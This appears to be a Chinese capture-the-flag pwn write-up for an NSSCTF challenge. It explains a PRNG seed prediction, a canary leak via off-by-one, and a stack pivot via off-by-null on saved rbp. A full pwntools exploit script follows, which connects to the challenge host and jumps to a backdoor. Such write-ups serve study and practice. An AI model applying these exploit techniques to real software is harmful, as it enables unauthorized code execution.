一道精巧、包含很多要点的题目
一、题目
二、思路浅析
通过ctypes酷通过伪随机数检测,没用srand指定随机种子时,默认srand(1)。
通过puts_name的off-by-one来泄露canary
进入vuln时,发现只能刚好填充到rbp前面,但是会将最后一个字符的下一个字节置为0
——可以通过off-by-null来覆写main_rbp的低字节为0,而vuln函数后面程序退出,两次leave;ret,构成栈迁移,且往低地址迁移,一定概率落在覆写的“wish”字符串中。通过爆破多试几次即可。
三、exp
from pwn import *
from ctypes import *
context(arch='amd64',log_level='debug')
libc=cdll.LoadLibrary('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
# gdb.attach(io)
# raw_input()
while(1):
io=remote('node4.anna.nssctf.cn',28895)
io.recvuntil(b'name\n\n')
io.sendline(b'a'*39+b'b')
io.recvuntil(b'aaab')
canary=u64(io.recv(8))-0x0a
success(hex(canary))
libc.srand(1)
num=libc.rand()%1000+324
io.send(p32(num))
io.recvuntil(b'can make a wish to me\n')
raw_input()
backdoor=0x4007C7
payload=p64(backdoor)*11+p64(canary)
io.send(payload)
raw_input()
io.interactive()